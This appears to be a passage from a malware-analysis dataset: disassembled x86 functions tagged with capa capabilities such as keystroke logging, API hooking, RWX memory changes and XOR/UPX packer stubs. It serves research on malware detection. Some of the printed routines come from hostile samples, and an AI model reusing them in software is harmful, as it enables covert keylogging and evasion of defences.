joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100651d0
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100655c0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x100c08e8], 0
jne 0x1006520d
cmp dword [0x100c08e4], 0
je 0x1006520d
mov eax, dword [0x100c08e4]
mov dword [0x100c08e8], eax
cmp dword [0x100c08e8], 0
je 0x1006528a
mov ecx, dword [0x100c08e8]
cmp dword [ecx + 8], 0
je 0x1006528a
mov edx, dword [0x100c08e8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1006528a
mov ecx, dword [0x100c08e8]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1006528a
mov eax, dword [0x100c08e8]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x10065259
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10065260
xor eax, eax
jmp 0x100653a9
mov ecx, dword [0x100c08e8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.10080320
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x100653a9
mov edx, dword [0x100c08e4]
mov dword [0x100c08e8], edx
jmp 0x100652a6
mov eax, dword [0x100c08e8]
mov ecx, dword [eax + 4]
mov dword [0x100c08e8], ecx
cmp dword [0x100c08e8], 0
je 0x100652e6
cmp dword [0x100c08e8], 0
je 0x100652e4
mov edx, dword [0x100c08e8]
cmp dword [edx + 8], 0
je 0x100652e4
mov eax, dword [0x100c08e8]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x100652e4
mov edx, dword [0x100c08e8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x100652e4
jmp 0x1006523e
jmp 0x10065298
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.100653b0
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x100653a7
mov eax, dword [ebp - 0x18]
mov dword [0x100c08e8], eax
mov ecx, dword [0x100c08e8]
mov dword [ecx], 0x52727464
mov edx, dword [0x100c08e8]
mov dword [edx + 8], 0
mov eax, dword [0x100c08e8]
mov ecx, dword [0x100c08e4]
mov dword [eax + 4], ecx
mov edx, dword [0x100c08e8]
mov dword [0x100c08e4], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x100c08e8]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10065377
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10065397
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1006536e
mov eax, dword [0x100c08e8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x1006523e
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100660f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x100c08e4]
mov dword [ebp - 4], eax
jmp 0x10066109
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 4]
mov dword [ebp - 4], edx
cmp dword [ebp - 4], 0
je 0x10066130
lea eax, [ebp - 8]
push eax
push 0x40
push 0x10000
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x1006612e
call sub.KERNEL32.dll_GetLastError
jmp 0x10066132
jmp 0x10066100
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x100665d0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], 0
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x100c08f4], eax
je 0x100665f4
mov eax, 0x10dd
jmp 0x1006679c
cmp dword [0x100c08f8], 0
je 0x10066607
mov eax, dword [0x100c08f8]
jmp 0x1006679c
cmp dword [ebp + 0xc], 0
jne 0x10066617
mov eax, 0x57
jmp 0x1006679c
cmp dword [ebp + 8], 0
jne 0x10066627
mov eax, 6
jmp 0x1006679c
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x10066650
mov dword [ebp - 8], 6
mov ecx, dword [ebp - 8]
mov dword [0x100c08f8], ecx
mov edx, dword [ebp + 8]
mov dword [0x100c08fc], edx
mov eax, dword [ebp - 8]
jmp 0x1006679c
push 0x18
call fcn.10067c86
add esp, 4
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x100666ab
mov dword [ebp - 8], 8
mov ecx, dword [ebp - 8]
mov dword [0x100c08f8], ecx
cmp dword [ebp - 4], 0
je 0x1006669a
mov edx, dword [ebp - 4]
mov dword [ebp - 0x20], edx
push 0x18
mov eax, dword [ebp - 0x20]
push eax
call fcn.10067cb9
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov dword [0x100c08fc], ecx
mov eax, dword [ebp - 8]
jmp 0x1006679c
push 0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.100665b0
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.100665b0
mov dword [ebp + 0xc], eax
mov edx, dword [ebp - 0x10]
movzx eax, byte [edx + 0x36]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x40]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
cmp dword [ebp - 0xc], 0
je 0x100666eb
cmp dword [ebp - 0xc], 0x1e
jbe 0x10066707
mov dword [ebp - 8], 9
cmp dword [0x100c08ec], 0
je 0x10066702
jmp 0x10066679
jmp 0x10066670
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x44]
cmp ecx, dword [ebp + 0xc]
je 0x1006672e
mov dword [ebp - 8], 9
cmp dword [0x100c08ec], 0
je 0x10066729
jmp 0x10066679
jmp 0x10066670
mov dword [ebp - 0x18], 0
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x14]
push ecx
call sub.KERNEL32.dll_VirtualProtect
test eax, eax
jne 0x10066759
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x10066670
mov edx, dword [ebp - 4]
mov dword [edx + 4], 1
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 8], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov dword [edx + 0x10], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov dword [ecx + 0xc], edx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x14], ecx
mov edx, dword [ebp - 4]
mov eax, dword [0x100c0904]
mov dword [edx], eax
mov ecx, dword [ebp - 4]
mov dword [0x100c0904], ecx
xor eax, eax
mov esp, ebp
pop ebp
ret 8
Function at 0x100667b0
Capabilities:
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [0x100c08f4], eax
je 0x100667cd
mov eax, 0x10dd
jmp 0x100668b0
mov eax, dword [0x100c0904]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x1006684c
lea ecx, [ebp - 0x1c]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x14]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x10]
movzx eax, byte [edx + 0x36]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0xc]
push edx
call sub.KERNEL32.dll_VirtualProtect
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
jne 0x10066828
mov ecx, dword [ebp - 4]
cmp dword [ecx + 0x10], 0
je 0x10066828
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
call fcn.10065650
add esp, 4
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x10], 0
mov edx, dword [ebp - 4]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xc], ecx
push 0x18
mov edx, dword [ebp - 0xc]
push edx
call fcn.10067cb9
add esp, 8
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
jmp 0x100667d5
mov dword [0x100c0904], 0
call fcn.10065f30
mov ecx, dword [0x100c0900]
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x1006689a
mov edx, dword [ebp - 8]
mov eax, dword [edx + 4]
push eax
call sub.KERNEL32.dll_ResumeThread
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 0x14], eax
push 8
mov ecx, dword [ebp - 0x14]
push ecx
call fcn.10067cb9
add esp, 8
mov edx, dword [ebp - 0x18]
mov dword [ebp - 8], edx
jmp 0x10066864
mov dword [0x100c0900], 0
mov dword [0x100c08f4], 0
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10066d90
Capabilities:
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x100c08f8], 0
je 0x10066da9
mov eax, dword [0x100c08f8]
jmp 0x10066e48
call sub.KERNEL32.dll_GetCurrentThread
cmp dword [ebp + 8], eax
jne 0x10066dba
xor eax, eax
jmp 0x10066e48
push 8
call fcn.10067c86
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10066e12
mov dword [ebp - 8], 8
cmp dword [ebp - 4], 0
je 0x10066dfb
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x10], ecx
push 8
mov edx, dword [ebp - 0x10]
push edx
call fcn.10067cb9
add esp, 8
mov dword [ebp - 4], 0
mov eax, dword [ebp - 8]
mov dword [0x100c08f8], eax
mov dword [0x100c08fc], 0
mov eax, dword [ebp - 8]
jmp 0x10066e48
mov ecx, dword [ebp + 8]
push ecx
call sub.KERNEL32.dll_SuspendThread
cmp eax, 0xffffffff
jne 0x10066e2a
call sub.KERNEL32.dll_GetLastError
mov dword [ebp - 8], eax
jmp 0x10066dda
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov dword [edx + 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [0x100c0900]
mov dword [ecx], edx
mov eax, dword [ebp - 4]
mov dword [0x100c0900], eax
xor eax, eax
mov esp, ebp
pop ebp
ret 4

Function at 0x100699b7
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop ebp
ret
Function at 0x433000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x31fa1124
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x64bc689b
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10001167
Capabilities:
Create thread
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
mov dword [0x10003430], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [0x10003434], eax
mov eax, dword [ebp + 0x10]
push edi
push 0x10001239
mov dword [0x10003438], eax
push dword [0x1000342c]
mov eax, dword [ebp + 0x18]
call dword [eax + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push dword [ebp + 8]
xor edi, edi
mov ebx, eax
mov dword [0x10003424], edi
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x100011b6
mov dword [ebp + 8], edi
lea eax, [ebp + 0xc]
mov dword [0x10003420], edi
push eax
push edi
push dword [ebp + 8]
push 0x10001106
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10003428], eax
jmp 0x100011fa
cmp dword [0x10003424], edi
jne 0x100011fe
cmp dword [0x10003420], edi
jne 0x100011fe
call fcn.100010c3
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x10003428]
cmp eax, edi
jne 0x100011d8
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push dword [ebp + 0xc]
push ebx
call esi
push 5
push dword [0x10003424]
test eax, eax
je 0x1000122e
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
push dword [ebp + 0xc]
push ebx
call esi
jmp 0x10001234
call dword [sym.imp.USER32.dll_ShowWindow]
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x4096e0
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffbc
mov edi, eax
lea esi, [esp + 0x28]
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetSystemInfo
mov ebx, edi
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
jmp 0x409789
cmp dword [esi + 0x10], 0x1000
jne 0x409775
test byte [esi + 0x15], 1
jne 0x409775
xor ebx, ebx
mov eax, dword [esi + 0x14]
cmp eax, 1
je 0x409734
cmp eax, 2
je 0x409734
cmp eax, 0x10
je 0x409734
cmp eax, 0x20
jne 0x409749
push esp
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x409749
mov bl, 1
xor ebp, ebp
jmp 0x40975a
mov eax, dword [esi]
add eax, ebp
call fcn.004096d8
add ebp, dword [esp + 8]
cmp ebp, dword [esi + 0xc]
jb 0x40974d
test bl, bl
je 0x409775
push esp
mov eax, dword [esp + 4]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov ebx, eax
push 0x1c
push esi
push ebx
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x409794
mov eax, dword [esi + 4]
cmp eax, edi
je 0x40970c
add esp, 0x44
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408e84
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x7bb97898
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x5c771d07
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x1029390
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x738000]
mov dword [edi + 0xbacc5c], 0x56dc809a
push edi
jmp 0x10293ba
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x10293c1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10293b0
mov eax, 1
add ebx, ebx
jne 0x10293d3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x10293e4
jne 0x1029403
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1029403
dec eax
add ebx, ebx
jne 0x10293f0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x10293c8
add ebx, ebx
jne 0x10293ff
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1029455
xor ecx, ecx
sub eax, 3
jb 0x102941b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x102948a
sar eax, 1
mov ebp, eax
jmp 0x1029426
add ebx, ebx
jne 0x1029426
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10293f4
inc ecx
add ebx, ebx
jne 0x1029434
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x10293f4
add ebx, ebx
jne 0x1029441
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1029436
jne 0x1029452
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1029436
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1029474
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1029466
jmp 0x10293b6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1029474
add edi, ecx
jmp 0x10293b6
pop esi
mov edi, esi
mov ecx, 0x77ab44
mov al, 0xe8
repne scasb al, byte es:[edi]
jne 0x10294af
cmp byte [edi], 0x27
jne 0x1029494
mov eax, dword [edi]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
add eax, esi
stosd dword es:[edi], eax
jmp 0x1029492
lea edi, [esi + 0xbff000]
mov eax, dword [edi]
or eax, eax
je 0x1029500
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xc2975c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xc298b0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x10294b5
mov ecx, edi
jns 0x10294e4
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xc298b8]
or eax, eax
je 0x10294fa
mov dword [ebx], eax
add ebx, 4
jmp 0x10294d2
call dword [esi + 0xc298b4]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x1029531
cmp al, 0xef
ja 0x1029524
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x1029506
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x1029513
mov ebp, dword [esi + 0xc298bc]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1029565
sub esp, 0xffffff80
jmp 0xb0eada
Function at 0x10002005
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000200f
repz ret
jmp fcn.10003edc

Function at 0x10005652
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x1000e8d8]
je 0x1000566d
inc edi
cmp edi, 0x17
jb 0x1000565e
cmp edi, 0x17
jae 0x100057ed
push ebp
push 3
call fcn.10009246
cmp eax, 1
pop ecx
je 0x100057b9
push 3
call fcn.10009246
test eax, eax
pop ecx
jne 0x100056a1
cmp dword [0x1000ef70], 1
je 0x100057b9
cmp ebx, 0xfc
je 0x100057ec
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x1000f498
push ebp
call fcn.100020b6
add esp, 0xc
test eax, eax
je 0x100056d7
push esi
push esi
push esi
push esi
push esi
call fcn.10003d06
add esp, 0x14
push 0x104
mov esi, 0x1000f4b1
push esi
push 0
mov byte [0x1000f5b5], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x1000571b
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.100020b6
add esp, 0xc
test eax, eax
je 0x1000571b
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.10003d06
add esp, 0x14
push esi
call fcn.10006a50
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x10005760
push esi
call fcn.10006a50
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x1000f7ac
push 0x1000bba4
sub ecx, eax
push ecx
push eax
call fcn.10006906
add esp, 0x14
test eax, eax
je 0x10005760
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.10003d06
add esp, 0x14
jmp 0x10005762
xor esi, esi
push 0x1000bba0
push ebx
push ebp
call fcn.10006842
add esp, 0xc
test eax, eax
je 0x10005782
push esi
push esi
push esi
push esi
push esi
call fcn.10003d06
add esp, 0x14
push dword [edi*8 + 0x1000e8dc]
push ebx
push ebp
call fcn.10006842
add esp, 0xc
test eax, eax
je 0x100057a4
push esi
push esi
push esi
push esi
push esi
call fcn.10003d06
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.10009089
add esp, 0xc
jmp 0x100057ec
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x100057ec
cmp ebp, 0xffffffff
je 0x100057ec
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x1000e8dc]
push dword [esi]
call fcn.10006a50
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x10009089
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.100033b2
xor ebx, ebx
cmp dword [0x1000f900], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x1000915f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x1000923f
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x1000923f
push eax
call fcn.10003344
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1000f900], eax
call esi
push eax
call fcn.10003344
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1000f904], eax
call esi
push eax
call fcn.10003344
mov dword [0x1000f908], eax
lea eax, [ebp - 0xc]
push eax
call fcn.100053ff
test eax, eax
pop ecx
pop ecx
je 0x1000912d
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10003d06
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x1000915f
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.10003344
cmp eax, ebx
pop ecx
mov dword [0x1000f910], eax
je 0x1000915f
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.10003344
pop ecx
mov dword [0x1000f90c], eax
mov eax, dword [0x1000f90c]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x100091e4
cmp dword [0x1000f910], ecx
je 0x100091e4
push eax
call fcn.100033bb
push dword [0x1000f910]
mov esi, eax
call fcn.100033bb
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x100091e4
cmp edi, ebx
je 0x100091e4
call esi
cmp eax, ebx
je 0x100091b1
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x100091b1
test byte [ebp - 0x18], 1
jne 0x100091e4
lea eax, [ebp - 0x10]
push eax
call fcn.10005436
test eax, eax
pop ecx
je 0x100091cc
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.10003d06
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x100091db
or dword [ebp + 0x10], 0x200000
jmp 0x1000921f
or dword [ebp + 0x10], 0x40000
jmp 0x1000921f
mov eax, dword [0x1000f904]
cmp eax, dword [ebp - 8]
je 0x1000921f
push eax
call fcn.100033bb
cmp eax, ebx
pop ecx
je 0x1000921f
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x1000921f
mov eax, dword [0x1000f908]
cmp eax, dword [ebp - 8]
je 0x1000921f
push eax
call fcn.100033bb
cmp eax, ebx
pop ecx
je 0x1000921f
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1000f900]
call fcn.100033bb
cmp eax, ebx
pop ecx
je 0x1000923f
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x10009241
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402f20
Capabilities:
Create mailslot

Disassembly:
push ecx
cmp dword [0x2b9b67c], 3
jne 0x402f42
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMailslotA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [esp], 0
mov eax, dword [esp + 0x10]
mov dword [esp], eax
mov eax, dword [esp + 0xc]
xor dword [esp], eax
mov eax, dword [esp]
mov ecx, dword [esp + 8]
mov dword [ecx], eax
pop ecx
ret 0xc

Function at 0x403150
Capabilities:
Enumerate gui resources
Get disk information

Disassembly:
mov eax, dword [0x2b9b67c]
mov ecx, dword [0x2b98588]
shr eax, 3
sub esp, 0x808
test eax, eax
jbe 0x403221
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
cmp dword [0x2b9b67c], 0x959
jne 0x403203
call esi
push 0
lea eax, [esp + 0x1c]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov ecx, dword [esp + 0x10]
push ecx
call fcn.00402f90
